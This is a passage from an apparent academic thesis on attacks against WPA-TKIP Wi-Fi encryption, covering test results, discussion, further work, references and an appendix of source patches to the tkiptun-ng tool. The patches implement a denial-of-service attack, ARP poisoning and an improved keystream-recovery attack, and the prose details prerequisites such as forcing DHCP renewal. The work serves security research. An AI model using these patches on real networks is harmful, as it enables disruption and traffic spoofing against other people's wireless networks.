During our experimentation we also tested the attack with a few different
Access Points. The Linksys WRT54GL proved to be the one with the highest
success rate, as the attack worked against this AP with both the MacBook
and Ubuntu as the victim. The attack was also performed on a D-Link
DIR655 AP, but with this setup we were only able to successfully perform
the attack against the Ubuntu computer. Hostapd was also vulnerable to
the attack, and we were able to successfully complete our improved attack
against this AP with the MacBook as STA. The setup was very unstable
though, which we believe was due to a combination of hardware and soft-
ware issues. The result of this was that even normal operation of the AP
would often come to a halt, even without being attacked. Because of this we
decided that it was unreasonable to continue experimenting with Hostapd
as AP.
The Linksys WRT54GL supports installing non-original firmware, and
therefore the open-source firmware OpenWRT was installed. A few different
versions of OpenWRT were installed, but the attack proved unsuccessful. It
might be possible to mount the attack against OpenWRT based APs, but
it will probably require extensive reconfiguration and possibly source code
modification. Because of this, we reverted to the original Linksys firmware
to keep our experimentation in a more realistic scenario.
98 Results
7.5.3 Injection on Different QoS Channels
A vital part of the attack is to be able to inject traffic on a different QoS
channel than the original packet was captured on. But as described in Sec-
tion 2.9, the number of such channels differ between implementations.
On our setup with the MacBook laptop as the victim, we were only able
to inject traffic on three channels (1, 4 and 6). We believe this is because
Mac OS X only implements the four channels described in the WiFi al-
liance’s QoS implementation WMM.
When using Ubuntu Linux as the victim computer, we were able to inject
on all 15 remaining channels (1-15) as specified by the IEEE 802.11 2007
standard. Injection could not be tested against the Windows XP computer,
as the chopping part of the attack did not work.
7.5.4 Forcing DHCP Renewal
As described in Section 4.3.1, one of the application areas for our improved
attack is to spoof the DNS server by sending a fake DHCP ACK message
to the STA. To be able to perform this attack, an attacker must be able to
trigger a DHCP renewal process on the STA. On Mac OS X this is possible
by sending four fake Gratuitous ARPs with the same IP as the STA. On the
other systems tested this is not possible. Windows XP did give a warning
about an IP conflict already after the first fake ARP was received, but
Windows XP did not initiate a DHCP renewal on its own. Ubuntu Linux
8.10 did not even give a warning about an IP conflict when receiving these
fake ARP.
7.5.5 Predictability of DHCP Transaction IDs
Another prerequisite for the fake DHCP ACK attack is that the Transaction
ID in the DHCP packets is known. On Mac OS X this is not a problem as
the Transaction ID increases monotonically for each DHCP transaction, and
thus the Transaction ID can then be predicted from the previously decrypted
DHCP packet. On both Windows XP and Ubuntu the Transaction ID is
chosen seemingly at random for each DHCP transaction, thus preventing
this particular attack.
7.5.6 Summary of Experimentation With Other Systems
Table 7.1 gives a brief summary of the experimentation presented in this
Section. As can be seen from the table, the best results were obtained with
the MacBook, which was the reason for choosing this setup as our main
Results With Different Configurations 99
laboratory environment. The Ubuntu Linux setup also showed some good
results.
System WLAN Adapter Tkiptun-ng No. of QoS channels Force DHCP Renew DHCP XID
Mac OS X 10.5.6 Broadcom YES 4 YES Predictable
Ubuntu Linux 8.10 RT73 YES 16 NO Random
Mac OS X 10.5.6 Atheros NO Not Tested YES Predictable
Mac OS X 10.5.6 RT73 YES (unstable) Not Tested YES Predictable
Windows XP Intel NO Not Tested NO (warning message) Random
Windows XP RT73 NO Not Tested NO (warning message) Random
Table 7.1: Summary of experimentation with different systems
100 Results
Chapter 8
Discussion
This chapter will discuss the results and discoveries made throughout this
thesis. We start by discussing the application areas of both the original
and the improved attack. Then, we will discuss how well these attacks are
applicable in a real world environment. Finally, we will present both positive
and negative lessons that we have learned during our research.
8.1 Application Areas
In Section 3.4 and 4.3, we presented possible application areas for the original
attack on TKIP and the improved attack respectively. This section will
continue the discussion and speculate in future application areas for these
attacks.
8.1.1 The Original Attack
As we have seen throughout this thesis, the original attack by Beck and
Tews [10] is limited to injection of ARP-sized packets to STAs only. Look-
ing at the injection of packets alone, the application areas are very limited.
It would be possible inject fake ARP packets into the network to cause con-
fusion internally on the network. This was proven in Section 6.3, when we
modified the original code into an ARP poisoning attack. This attack will
however only work temporary, since the network entities will automatically
discover the error in the ARP cache and reconfigure properly. Additionally,
as proven in Section 6.4, we were able to modify their code into a crypto-
graphic DoS attack as well.
Also the fact that the attacker is bound to inject packets in one direction
only, makes it even harder to do any harm on the network. If the attacker
was in possession of keystream for both directions, he would also have the
101
102 Discussion
MIC key for both directions. In that case, the attacker could have initiated
a fragmentation attack against the AP, forcing the AP to combine smaller
fragments into one large segment, which in turn could be decrypted since
the attacker now would know the plaintext. However, since the AP does not
respond with MIC failure reports, a modified chopchop attack directed to
the AP remains impossible, and consequently the keystream and MIC key
for that direction will remain unknown. For that reason, this approach is
discussed as further work in Section 2.5.6.
8.1.2 The Improved Attack
Our improved attack on TKIP reveals 596 bytes of keystream. Compared
to 48 bytes of keystream from the original attack, this is a significant im-
provement. This allows the attacker to inject a much wider range of packets
and thus perform more sophisticated attacks. In Section 4.3, we presented
two theoretically possible attacks, namely a DHCP ACK DNS attack and a
NAT traversal attack. Exploits against the control protocols such as DHCP
and ARP are not the only possible attacks that could be mounted. Being
able to inject packets to a STA could also be used to trigger un-patched vul-
nerabilities in the operating system like for instance remote exploits. Even
though this improved attack reveals more keystream, it does not change the
nature of this attack. As with the original attack, the attacker will still be
limited to injection of packets in one direction. This remains the greatest
limitation of both attacks.
If it would be possible to get keystream for both directions, a series of
new application areas would arise. For instance, a DNS Response Spoofing
attack would then be possible to perform, as it requires decryption of packets
in both directions. It might even be possible to exploit the web-interface of
the AP with regular HTTP requests and thus be able to reveal the pairwise
master key. Additionally, with keystreams for both directions, it would be
possible to perform a fragmentation attack that could reveal 1500 bytes of
keystream, which will be further discussed in Section 9.4. This would open
up for an endless series of attacks and exploits.
Even with keystream for one direction only, we believe that this is just
a starting point for similar attacks and exploits. It is reasonable to assume
that these attacks on TKIP will lead to more innovative and novel appli-
cation areas that can prove once again that TKIP is broken and should be
avoided.
Real World Applicability 103
8.2 Real World Applicability
One may wonder how practical these attacks on TKIP are in the real world.
As described in Section 3.1, in order to mount the attack, QoS must be
enabled in addition to a key renewal interval larger than the time of the
attack. Thus, the impact of the attack relies on the extent of which these
requirements are met in the real world. On many older APs, the only more
secure alternative to WEP is TKIP. However, many of these APs lack the
support of QoS, which is required for the attack to succeed.
On newer APs, when selecting “WPA Personal” or “WPA PSK”, the AP
often turn on a hybrid setting between TKIP and AES. This means that
if the client computer is not capable of AES, TKIP will be selected. Most
of these newer APs also support QoS, which in fact, often is enabled by
default. It turns out that most new access points with support for 802.11n
come with QoS/WMM enabled by default
1
. Additionally, our experience
indicate that most AP defaults the key renewal interval to one hour, which
is more than long enough for both attacks to succeed.
Beck and Tews [10] states that even if IEEE 802.11e QoS is disabled,
the attack seems possible. They suggest that the attacker can prevent STAs
from receiving the chopped packet by disconnecting the STA during the at-
tack and thus prevent an increase in the TSC. Even though this might be
theoretically possible, and might work in a lab environment, it seems near to
impossible to mount in a real world scenario where there are many unknown
factors in play.
In Section 7.5, we presented our success rate with different configura-
tions of APs and STAs. Our experiments show that the success rate of the
attack is far from stable and varies with different systems. We were never
able to perform the attack against a PC running Windows XP. It is therefore
reasonable to ask whether or not this is practical in a real world environ-
ment where the majority of computers run Windows. However, the current
version of the tkiptun-ng tool is still very experimental, and we believe that
the attack will develop over time and become more compatible with a wider
range of systems and configurations.
1
Most newer APs by D-Link show this behavior, for instance this model: http://www.
support.dlink.com/emulators/dir615_revB/login.htm
104 Discussion
8.3 Lessons Learned
Working with a complex protocol such as TKIP has been both an intriguing
and hard experience. Although we definitely have learned a lot, we have
also encountered some obstacles along the way. It is always easy to look
back at the end on things we could have done differently.
8.3.1 Negative Experiences
The duration of the attack was arguably the most frustrating part of the ex-
perimentation. Due to the TKIP countermeasures, the attack lasted much
longer than a regular Chopchop attack. This long runtime made the code
very difficult to debug. It could take over 20 minutes from the code was
compiled, to the results upon running the program were apparent.
The runtime could be significantly reduced if the MIC failure interval
could be adjusted. However, this requires a re-write and re-compile of both
the AP and the STA drivers. We did some experimentation with this, but
since our best results were achieved when the victim was using the Mac-
Book laptop, we did not spend too much time researching this opportunity.
Additionally, changing the drivers at the AP and STA would also make the
attacks less realistic.
8.3.2 Positive Experiences
All over, working with this thesis has been a positive experience. Compared
to our initial knowledge about wireless networks, we have learned a lot about
both their networking and security protocols. This progress in knowledge
also demonstrates the fact that our work procedure is close to an iterative
method.
Working analytical and experimental, and working together two people
have been both assuring and supportive. It is much easier to give construc-
tive feedback, second opinions and creative suggestions when collaborating.
So-called pair programming has also proven to be quite effective when devel-
oping software. One person will then observer and provide feedback, while
the other person writes the code. Generally, this will provide higher quality
to the written code.
Chapter 9
Further Work
This chapter will present and discuss some suggestions for further work.
These tasks have been left as further work due to time constraints or other
limitations of this research, as explained in Section 1.4. Cryptanalysis of
TKIP is a relatively new field of study, and it is the authors’ opinion that
more research in this field will have a high probability of unveiling new weak-
nesses of the protocol.
9.1 Further Improvement of the Attack
The main result in this thesis is the improved attack on TKIP. This im-
provement exploits the fact that DHCP ACKs contain large amounts of
known bytes. The result is that more than ten times the keystream can be
acquired than with the original attack. The implementation presented is a
proof-of-concept, and is limited to the DHCP ACK format of the AP used
in the laboratory environment (Linksys WRT54GL).
To make the attack more generic, a database of DHCP ACK formats
mapped to manufacturers could be created. It is a simple task to detect
the manufacturer based on the first bytes of the MAC address of the AP. It
could also be possible to detect the model if a certain model is limited to a
certain MAC address range.
It should also be a straightforward task to implement more logic in the
code. This could for instance be used in coordination with the database
to try to pin down the exact format of the DHCP ACK. A combination of
the original tkiptun-ng tool and the improved attack could be built. The
tool would then first reveal the IP addresses of the STA and AP, which are
required information for the improved attack. Such a combined tool would
105
106 Further Work
make the tool fully automated, and the only input needed would then be
the MAC addresses of the AP and STA, as well as the wireless channel
of the network. Actually, even this information is not needed as the tool
could be set to scan for vulnerable networks and start the attack completely
automatically. Complete automation of the tool is probably not desired, as
the attack is still best suited for advanced users.
9.2 Obtaining Two-way keystream
Both the original tkiptun-ng and our improved attack are limited to AP-to-
STA communication. If keystream for both directions could be obtained,
more attacks could be mounted. In addition to this, more keystream could
easily be unveiled by sending requests with known replies.
The reason why the attack is limited to AP-to-STA keystream, is that
only STAs send MIC Failure report frames. This means that if a chopchop
attack were mounted against the STA-to-AP keystream, the attacker would
have no way of knowing when a correct guess was made. Beck and Tews
suggest that it would be possible to mount such an attack if the EAPOL
handshake used the same random nonces for every re-keying [32]. This im-
plies that both the Supplicant (STA) and Authenticator (AP) have a flawed
implementation of TKIP, and for this reason a very unrealistic scenario.
Given that the MIC key was identical for both directions, or that the
attacker somehow was in possession of both keys, the keystream for both
directions could easily be obtained. This could be achieved by sending a
packet with a known reply to the STA, for instance an ICMP Ping. The
answer could then be XORed with the known reply, including the calculated
MIC and ICV, resulting in keystream for STA-to-AP communication. This
type of known reply attack could then be repeated indefinitely, giving the
attacker an unlimited number of useable keystreams.
9.3 DHCP DNS Spoofing
In Section 4.3.1, we described an DHCP DNS Attack, which can be used to
spoof the DNS setting of a client by simply performing one-way injections
towards the client. During the experimental phase, we verified on an open
wireless network that this indeed was possible with injection of five packets
only. However, due to time constraints for this research, we were never able
to implement this as a patch to tkiptun-ng.
As pointed out in Section 4.3.1, this attack requires that the attacker is
able to predict the DHCP Transaction ID. During our experimentation we
Fragmentation Attack 107
only observed predictable, i.e. incremental, Transaction IDs on Mac OS X.
These results were presented in Section 7.5.5. It should be further investi-
gated if the Transaction IDs on Windows XP and Ubuntu Linux are truly
random, or if it is possible to predict the next value given the previous one.
Experimentation with other versions of both Windows and Linux should be
conducted, as well as with other operating systems.
9.4 Fragmentation Attack
The fragmentation attack is a powerful attack against WEP, this was ex-
plained in Section 2.5.6. A similar approach could work against TKIP as
well. Due to time constraints this could not be tested experimentally, so
this section will present some ideas and theories for further work on frag-
mentation.
If an attacker gets hold of two keystreams for different TSCs, by per-
forming two consecutive tkiptun-ng attacks, it should be possible for the
attacker to send a packet in two fragments, one with each keystream. These
fragments should be sent on the same QoS channel. Thus, the attacker
would be able to send a packet twice the size of one keystream.
It might also be possible to fragment across QoS channels, although
this is less likely to work. Then an attacker would only need to obtain one
keystream, and send the fragments on different QoS channels. If the attacker
could get hold of keystream and MIC key for both directions, he would be
able to mount an attack similar to the fragmentation attack on WEP. The
attacker could send fragmented packets with known replies, and thus obtain
longer keystream for each consecutive injection. The attacker would then
be able to acquire 1500 bytes (maximum transmission unit) of keystream
for both directions.
9.5 Key Recovery Attack
The ultimate attack on wireless networks is a key recovery attack. Such an
attack will reveal the pre-shared key, and allow the attacker to communi-
cate as a legitimate STA on the network. The attacker will also be able to
decrypt the traffic of all other STAs on the network.
Currently, the only way to obtain the pre-shared key on a TKIP or
CCMP secured wireless network, is to mount a brute force or dictionary
attack on the EAPOL handshake. This attack was described in Section 2.8.
As described in that section, such attacks are successful against weak pass-
words by using a dictionary attack. Recent advances in GPU technology
108 Further Work
Nonce 2
Nonce 1
MAC 1
MAC 2
PMK
PRF-512
EAPOLMICKey 128 bits
Temporal Key 128 bits
AP-to-STA MIC Key 64 bits
EAPOLEncr Key 128 bits
STA-to-AP MIC Key 64 bits
Known values Unknown values
PTK
Figure 9.1: An illustration of the known and unknown values of the Temporal Key
Computation after the attack on TKIP has been performed
have also made it possible to utilize the immense computational power of
such chips. This has made it possible to successfully attack even relatively
strong keys in viable time.
The original tkiptun-ng attack and our improved attack do not target
the pre-shared key (PSK). However, the attacks do obtain the MIC key for
AP-to-STA communication. This key is a part of the Pairwise Transient Key
(PTK) derived from the pre-shared key in the EAPOL handshake. Thus,
the attacker is in possession of 64 bits of the 512-bit PTK. The attacker is
now in possession of both some of the input and parts the output of the
transient key computation algorithm (PRF-512), as is illustrated in Figure
9.1. It might be possible to reduce the time needed for an attack on the
PMK if this known MIC key could in some way be included in the attack
algorithm. This would require cryptanalysis of the underlying PRF-512,
which utilizes the hash function SHA-1. The possibilities for this should
definitely be investigated further. By repeating the attack, the attacker
would be in possession of additional MIC keys for a given handshake. The
statistical relationship between these should also be explored.
Chapter 10
Conclusion
Up until now, WEP was the only wireless protocol with exploitable weak-
nesses. TKIP and CCMP were considered cryptographically strong, i.e. the
only known weakness would be the use of weak or guessable passwords. In
November 2008, Beck and Tews [10] presented a breach in TKIP’s security,
which allowed an attacker to decrypt small ARP packets. Although their
attack was limited in its application areas, it still was the first practical
attack on TKIP. Now, even with a strong password, TKIP could no longer
be considered perfectly secure.
In our research, we have looked into the attack presented by Beck and
Tews. The attack is still, as of May 2009, very experimental, and as a
consequence, we experienced some varied success rate with different system
configurations. We were able to modify their code to function as an ARP
poisoning attack and a cryptographic DoS attack. Additionally, we created
an improved attack on TKIP that enables an attacker to decrypt a much
larger DHCP ACK message. This message is over 12 times the size of an
ARP packet, and opens up for new application areas for the attack. Though
not yet implemented, we explained a theoretically possible attack that will
spoof the DNS server IP address of a client. An attacker could make a client
communicate with a malicious DNS server rather than the desired one, and
thus easily perform a phishing attack.
There are several requirements for the attack to work. QoS/WMM must
be enabled at the AP in order for the attack to succeed. Additionally, a key
renewal interval must be longer than the time the attack needs to finish.
These setting occur commonly in the real world, and the attack should, as
a consequence be considered a real threat.
TKIP was developed to fix the insecurity of WEP, but now it is TKIP
109
110 Conclusion
that needs to be fixed. We begin to see driver updates fixing this issue,
like for instance OpenBSD, which has patched its client stack to counter
this attack. Nevertheless, as TKIP was built around WEP, it also inherits
some of its weaknesses. As proven over and over again, when developing a
security protocol, security should be kept in mind from the very beginning.
To simply fix another’s weakness is a naive approach. Instead of fixing
TKIP, we believe it is time to move on and start migrating to CCMP, the
protocol that was designed bottom-up to be secure.
References
[1] IEEE Std 802.11-1997 Information Technology- telecommunications
And Information exchange Between Systems-Local And Metropolitan
Area Networks-specific Requirements-part 11: Wireless Lan Medium
Access Control (MAC) And Physical Layer (PHY) Specifications. IEEE
Std 802.11-1997, Nov 1997.
[2] Information technology- Telecommunications and information exchange
between systems- Local and metropolitan area networks- Specific
requirements- Part 11: Wireless LAN Medium Access Control (MAC)
and Physical Layer (PHY) Specifications. ANSI/IEEE Std 802.11, 1999
Edition (R2003), 2003.
[3] Port Based Network Access Control. IEEE Std 802.1X-2004, 2004.
[4] Information technology- Telecommunications and information exchange
between systems- Local and metropolitan area networks- Specific
requirements- Part 11: Wireless LAN Medium Access Control (MAC)
and Physical Layer (PHY) specifications Amendment 4: Further
Higher Data Rate Extension in the 2.4 GHz Band. ISO/IEC 8802-
11:2005/Amd.4:2006(E) IEEE Std 802.11g-2003 (Amendment to IEEE
Std 802.11-1999), 2006.
[5] IEEE Standard for Information technology-Telecommunications and
information exchange between systems-Local and metropolitan area
networks-Specific requirements - Part 11: Wireless LAN Medium Ac-
cess Control (MAC) and Physical Layer (PHY) Specifications. IEEE
Std 802.11-2007 (Revision of IEEE Std 802.11-1999), 12 2007.
[6] Bernard Aboba, Larry J. Blunk, John R. Vollbrecht, James Carlson,
and Henrik Levkowetz. Extensible Authentication Protocol (EAP). In-
ternet RFC 3748, June 2004.
[7] Aircrack-ng. Aircrack-ng homepage. http://aircrack-ng.org/, Last
accessed April 30, 2009.
111
112 References
[8] Wi-Fi Alliance.
[9] Anonymous. Thank you Bob Anderson / RC4 Source code. cypher-
punks.venona.com. http://web.archive.org/web/20080120083537/
http://cypherpunks.venona.com/date/1994/09/msg00304.html,
Last accessed February 09, 2009.
[10] Martin Beck and Erik Tews. Practical attacks against WEP and WPA.
Cryptology ePrint Archive, Report 2008/472, 2008. http://eprint.
iacr.org/, Last accessed February 12, 2009.
[11] Andrea Bittau, Mark Handley, and Joshua Lackey. The Final Nail in
WEP’s Coffin. Security and Privacy, IEEE Symposium on, 0:386–400,
2006.
[12] Rafik Chaabouni. Break WEP Faster with Statistical Analysis. June
2006.
[13] D. E. Comer, David Gries, Michael C. Mulder, Allen Tucker, A. Joe
Turner, and Paul R. Young. Computing as a discipline. Commun.
ACM, 32(1):9–23, 1989. http://doi.acm.org/10.1145/63238.63239,
Last accessed May 11, 2009.
[14] Joan Daemen and Vincent Rijmen. The Design of Rijndael: AES -
The Advanced Encryption Standard (Information Security and Cryp-
tography). Springer, 1 edition, 2002.
[15] R. Droms. RFC 2131: Dynamic Host Configuration Protocol, 1997.
[16] Edney and William A. Arbaugh. Real 802.11 Security: Wi-Fi Protected
Access and 802.11i. Addison-Wesley Longman Publishing Co., Inc.,
Boston, MA, USA, 2003.
[17] Scott Fluhrer, Itsik Mantin, and Adi Shamir. Weaknesses in the key
scheduling algorithm. In RC4”, Proceedings of the 4th Annual Work-
shop on Selected Areas of Cryptography, pages 1–24, 2001.
[18] S. Glass and V. Muthukkumarasamy. A Study of the TKIP Crypto-
graphic DoS Attack. pages 59–65, Nov. 2007.
[19] IEEE. 802.11mb Issues List v12. mentor.ieee.org,
2009. https://mentor.ieee.org/802.11/file/08/
11-08-1127-12-000m-tgmb-issues-list.xls, Last accessed May
11, 2009.
[20] Andreas Klein. Attacks on the RC4 stream cipher. 2006.
References 113
[21] KoreK. chopchop (Experimental WEP attacks), 2004.
http://www.netstumbler.org/f50/chopchop-experimental-wep-
attacks-12489/, Last accessed February 20, 2009.
[22] KoreK. Next generation of WEP attacks?, 2004. http://www.
netstumbler.org/showpost.php?p=93942&postcount=35, Last ac-
cessed February 20, 2009.
[23] Ilya Mironov. (Not So) Random Shuffles of RC4. Cryptology ePrint
Archive, Report 2002/067, 2002. http://eprint.iacr.org/, Last ac-
cessed March 4, 2009.
[24] T. Narten, E. Nordmark, W. Simpson, and H. Soliman. Neighbor Dis-
covery for IP version 6 (IPv6). RFC 4861 (Draft Standard), September
2007.
[25] D. C. Plummer. RFC 826: Ethernet Address Resolution Protocol: Or
converting network protocol addresses to 48.bit Ethernet address for
transmission on Ethernet hardware, November 1982. Status: STAN-
DARD.
[26] Shaun Posthumus and Rossouw von Solms. A framework for the gov-
ernance of information security. Computers and Security, 23(8):638 –
646, 2004.
[27] R. Shirey. Internet Security Glossary, Version 2. RFC 4949 (Informa-
tional), August 2007. http://www.ietf.org/rfc/rfc4949.txt, Last
accessed May 11, 2009.
[28] William Stallings. Cryptography and Network Security: Principles and
Practices. Prentice Hall, 4th edition, 2006.
[29] Adam Stubblefield, John Ioannidis, and Aviel D. Rubin. A key recovery
attack on the 802.11b wired equivalent privacy protocol (WEP). ACM
Trans. Inf. Syst. Secur., 7(2):319–332, 2004.
[30] Andrew S. Tanenbaum. Computer networks / Andrew S. Tanenbaum.
Prentice-Hall, Englewood Cliffs, N.J. :, 2nd ed. edition, 1989.
[31] Erik Tews. Attacks on the WEP protocol, 2007. http:
//www.cdc.informatik.tu-darmstadt.de/reports/reports/Erik_
Tews.diplom.pdf, Last accessed May 11, 2009.
[32] Erik Tews and Martin Beck. Practical attacks against wep and wpa.
In WiSec ’09: Proceedings of the second ACM conference on Wireless
network security, pages 79–86, New York, NY, USA, 2009. ACM.
114 References
[33] Erik Tews, Ralf-Philipp Weinmann, and Andrei Pyshkin. Breaking 104
bit WEP in less than 60 seconds. Cryptology ePrint Archive, Report
2007/120, Apr 2007.
[34] S. Whalen. An Introduction to Arp Spoofing., 2001. http:
//www.rootsecure.net/content/downloads/pdf/arp_spoofing_
intro.pdf, Last accessed May 11, 2009.
[35] Ross N. Williams. A Painless Guide To CRC Error Detection Algo-
rithms. 8 1993. http://www.ross.net/crc/crcpaper.html, Last ac-
cessed May 11, 2009.
[36] Wireshark. Wireshark: About. http://www.wireshark.org/, Last
accessed March 31, 2009.
Appendix A
Source Code
The source code provided in these appendices shows only the differences
from the original tkiptun-ng.c source code from revision 1503 found at
http://trac.aircrack-ng.org/svn/trunk/. Appendix B contains an at-
tached CD-ROM with the entire source code for each individual modification
to the attack.
The following command will patch the tkiptun-ng.c file:
patch -u -i <PATCH FILE> tkiptun-ng.c
To revert back to the original tkiptun-ng.c file:
patch -R tkiptun-ng.c <PATCH FILE>
A.1 Denial-of-Service Attack
--- tkiptun-ng-original.c 2009-04-14 12:37:59.000000000 +0200
+++ tkiptun-ng-dos-attack-1503.c 2009-04-14 12:47:46.000000000 +0200
@@ -2625,6 +2625,8 @@
if( send_packet( h80211, data_end -1 ) != 0 )
return( 1 );
+ if( send_packet( h80211, data_end -1 ) != 0 )
+ return( 1 );
if( errno != EAGAIN )
{
@@ -2775,7 +2777,7 @@
}
115
116 Source Code
/* we have a winner */
-
+ return 0;
// guess = h80211[9];
tries = 0;
settle = 0;
@@ -3705,8 +3707,8 @@
char *s, buf[128];
int caplen=0;
uchar packet1[4096];
- uchar packet2[4096];
- int packet1_len, packet2_len;
+// uchar packet2[4096];
+ int packet1_len;//, packet2_len;
struct timeval mic_fail;
/* check the arguments */
@@ -3715,7 +3717,7 @@
memset( &dev, 0, sizeof( dev ) );
opt.f_type = -1; opt.f_subtype = -1;
- opt.f_minlen = 80; opt.f_maxlen = 80;
+ opt.f_minlen = 80; opt.f_maxlen = 1000;
opt.f_minlen_set = 0;
opt.f_maxlen_set = 0;
opt.f_tods = -1; opt.f_fromds = -1;
@@ -4230,7 +4232,8 @@
PCT; printf("Michael Test: %s\n", i ? "Successful" : "Failed");
/* END MICHAEL TEST*/
-
+ start_main:
+
if(getnet(NULL, 0, 0) != 0)
return 1;
@@ -4312,32 +4315,32 @@
/* Select ToDS ARP from Client */
- PCT; printf("Waiting for an ARP packet coming from the Client...\n");
-
- opt.f_tods = 1;
- opt.f_fromds = 0;
- memcpy(opt.f_smac, opt.r_smac, 6);
-// memcpy(opt.f_dmac, opt.f_bssid, 6);
- if(opt.fast == -1)
- opt.fast = 1;
-
- if(opt.f_minlen_set == 0) {
- opt.f_minlen = 80;
- }
- if(opt.f_maxlen_set == 0) {
Denial-of-Service Attack 117
- opt.f_maxlen = 80;
- }
-
- while(1)
- {
- if( capture_ask_packet( &caplen, 0 ) != 0 )
- return( 1 );
- if( is_qos_arp_tkip(h80211, caplen) == 1 )
- break;
- }
-
- memcpy(packet2, h80211, caplen);
- packet2_len = caplen;
+// PCT; printf("Waiting for an ARP packet coming from the Client...\n")
;
+//
+// opt.f_tods = 1;
+// opt.f_fromds = 0;
+// memcpy(opt.f_smac, opt.r_smac, 6);
+// // memcpy(opt.f_dmac, opt.f_bssid, 6);
+// if(opt.fast == -1)
+// opt.fast = 1;
+//
+// if(opt.f_minlen_set == 0) {
+// opt.f_minlen = 80;
+// }
+// if(opt.f_maxlen_set == 0) {
+// opt.f_maxlen = 80;
+// }
+//
+// while(1)
+// {
+// if( capture_ask_packet( &caplen, 0 ) != 0 )
+// return( 1 );
+// if( is_qos_arp_tkip(h80211, caplen) == 1 )
+// break;
+// }
+//
+// memcpy(packet2, h80211, caplen);
+// packet2_len = caplen;
/* Select FromDS ARP to Client */
@@ -4348,20 +4351,20 @@
memcpy(opt.f_dmac, opt.r_smac, 6);
memcpy(opt.f_smac, NULL_MAC, 6);
- if(opt.f_minlen_set == 0) {
- opt.f_minlen = 80;
- }
- if(opt.f_maxlen_set == 0) {
- opt.f_maxlen = 98;
- }
+ // if(opt.f_minlen_set == 0) {
118 Source Code
+ // opt.f_minlen = 80;
+ // }
+ // if(opt.f_maxlen_set == 0) {
+ // opt.f_maxlen = 98;
+ // }
- while(1)
- {
+ // while(1)
+ // {
if( capture_ask_packet( &caplen, 0 ) != 0 )
return( 1 );
- if( is_qos_arp_tkip(h80211, caplen) == 1 )
- break;
- }
+ // if( is_qos_arp_tkip(h80211, caplen) == 1 )
+ // break;
+ // }
memcpy(packet1, h80211, caplen);
packet1_len = caplen;
@@ -4377,7 +4380,8 @@
/* Chop the packet down, get a keystream+plaintext, calculate the MIC
Key */
do_attack_tkipchop(h80211, caplen);
-
+ got_hdsk = 0;
+ goto start_main;
/* derive IPs and MACs; relays on QoS, ARP and fromDS packet */
if(opt.chopped_from_plain != NULL)
{
@@ -4412,7 +4416,7 @@
}
/* Also chop the answer to get the equivalent MIC Key */
- memcpy(h80211, packet2, packet2_len);
+ //memcpy(h80211, packet2, packet2_len);
do_attack_tkipchop(h80211, caplen);
/* that’s all, folks */
A.2 ARP Poisoning Attack
--- tkiptun-ng-original.c 2009-04-14 12:37:59.000000000 +0200
+++ tkiptun-ng-arp-poisoning-1503.c 2009-04-14 13:38:07.000000000 +0200
@@ -210,6 +210,7 @@
struct options
{
+ unsigned char fake_smac[6];
unsigned char f_bssid[6];
unsigned char f_dmac[6];
Improved Attack 119
unsigned char f_smac[6];
@@ -1501,6 +1502,8 @@
packet[24] = 0x02; //priority 2
packet[25] = 0x00;
+ memcpy(opt.r_apmac,opt.fake_smac,6);
+
if(toDS)
set_clear_arp(packet+26, opt.r_smac, BROADCAST);
else
@@ -1514,7 +1517,7 @@
if(toDS)
memcpy(packet+26+26, BROADCAST, 6);
else
- memcpy(packet+26+26, BROADCAST, 6);
+ memcpy(packet+26+26, opt.r_smac, 6); // Hack to send only to the chosen
target.
if(toDS)
memcpy(packet+26+32, opt.ip_ap, 4);
@@ -3757,7 +3760,7 @@
};
int option = getopt_long( argc, argv,
- "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:",
+ "q:d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:",
long_options, &option_index );
if( option < 0 ) break;
@@ -3778,6 +3781,16 @@
printf("\"%s --help\" for help.\n", argv[0]);
return( 1 );
+ case ’q’ :
+
+ if( getmac( optarg, 1, opt.fake_smac ) != 0 )
+ {
+ printf( "Invalid source MAC address.\n" );
+ printf("\"%s --help\" for help.\n", argv[0]);
+ return( 1 );
+ }
+ break;
+
case ’d’ :
if( getmac( optarg, 1, opt.f_dmac ) != 0 )
A.3 Improved Attack
--- tkiptun-ng-original.c 2009-04-14 12:37:59.000000000 +0200
+++ tkiptun-ng-dhcp-chop-1503.c 2009-04-14 15:16:42.000000000 +0200
@@ -2140,7 +2140,116 @@
}
120 Source Code
return 1;
}
+int hexToDec(unsigned char inHex)
+{
+ char outStr[256];
+ sprintf(outStr,"%d",inHex);
+ return atoi(outStr);
+}
+int simulate_chopchop(uchar *chopped, int plaintext, int data_end)
+{
+ // ALGEBRA:
+ // chopped XOR src_buf XOR plaintext = guess
+
+ int guess = chopped[data_end - 1] ^ srcbuf[data_end - 1] ^ plaintext;
+
+ chopped[data_end - 1] ^= guess;
+ chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
+ chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
+ chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
+ chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
+
+ printf( "\r[Simulate Chopchop] Offset %4d | xor = %02X | pt = %02X\n",
+ data_end - 1,
+ chopped[data_end - 1],
+ chopped[data_end - 1] ^ srcbuf[data_end - 1]);
+
+ data_end--;
+ return data_end;
+}
+/*
+*****************************************
+Function: ip_sum_calc
+Description: Calculate the 16 bit IP sum.
+*****************************************
+*/
+typedef unsigned short u16;
+typedef unsigned long u32;
+
+u16 ip_sum_calc(u16 len_ip_header, u16 buff[])
+{
+u16 word16;
+u32 sum=0;
+u16 i;
+
+ // make 16 bit words out of every two adjacent 8 bit words in the packet
+ // and add them up
+ for (i=0;i<len_ip_header;i=i+2){
+ word16 =((buff[i]<<8)&0xFF00)+(buff[i+1]&0xFF);
+ sum = sum + (u32) word16;
+ }
+
+ // take only 16 bits out of the 32 bit sum and add up the carries
+ while (sum>>16)
+ sum = (sum & 0xFFFF)+(sum >> 16);
Improved Attack 121
+
+ // one’s complement the result
+ sum = ~sum;
+
+return ((u16) sum);
+}
+
+/*
+**************************************
+Function: udp_sum_calc()
+Description: Calculate UDP checksum
+**************************************
+*/
+
+u16 udp_sum_calc(u16 len_udp, u16 src_addr[],u16 dest_addr[], int padding,
u16 buff[])
+{
+u16 prot_udp=17;
+u16 padd=0;
+u16 word16;
+u32 sum;
+
+ // Find out if the length of data is even or odd number. If odd,
+ // add a padding byte = 0 at the end of packet
+ if ((padding&1)==1){
+ padd=1;
+ buff[len_udp]=0;
+ }
+
+ //initialize sum to zero
+ sum=0;
+ int i;
